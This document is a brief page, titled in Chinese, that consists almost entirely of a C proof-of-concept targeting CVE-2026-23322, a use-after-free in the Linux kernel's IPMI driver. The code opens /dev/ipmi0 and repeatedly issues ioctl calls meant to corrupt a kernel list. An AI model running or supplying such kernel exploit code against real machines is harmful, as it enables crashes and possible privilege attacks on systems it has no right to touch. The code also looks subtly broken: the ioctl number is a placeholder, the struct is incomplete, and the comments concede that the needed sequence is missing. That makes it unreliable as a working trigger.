CVE-2026-23322: Linux内核IPMI释放后重用漏洞

/* * PoC for CVE-2026-23322: IPMI Use-After-Free * This PoC attempts to trigger the race condition by repeatedly * invoking IPMI operations that may fail, forcing the sender error path. * * Compile: gcc -o poc_ipmi poc_ipmi.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define IPMI_BMC_IOCTL 0x1 #define DEVICE "/dev/ipmi0" // or /dev/ipmidev/0 struct ipmi_req { unsigned char *addr; unsigned int addr_len; unsigned long msgid; // ... other fields ... }; int main() { int fd = -1; struct ipmi_req req; int ret; printf("[+] Attempting to open IPMI device..."); fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("open"); printf("[-] Failed to open device. Ensure IPMI is loaded and you have permissions.\n"); return 1; } printf("Done (fd=%d)\n", fd); // Initialize request with potentially malformed data to trigger sender errors memset(&req, 0, sizeof(req)); // In a real scenario, specific timing or message sequences are required // to hit the 'sender() fails' condition twice. printf("[+] Triggering the vulnerability sequence...\n"); for (int i = 0; i < 100; i++) { // Attempt to send command to trigger error path ret = ioctl(fd, IPMI_BMC_IOCTL, &req); // The loop aims to hit the error path where curr_msg is not cleared // causing the list_add corruption on subsequent failures. if (ret < 0) { // Error expected to trigger the bug } } printf("[+] Exploit attempt finished. Check kernel logs for list corruption.\n"); close(fd); return 0; }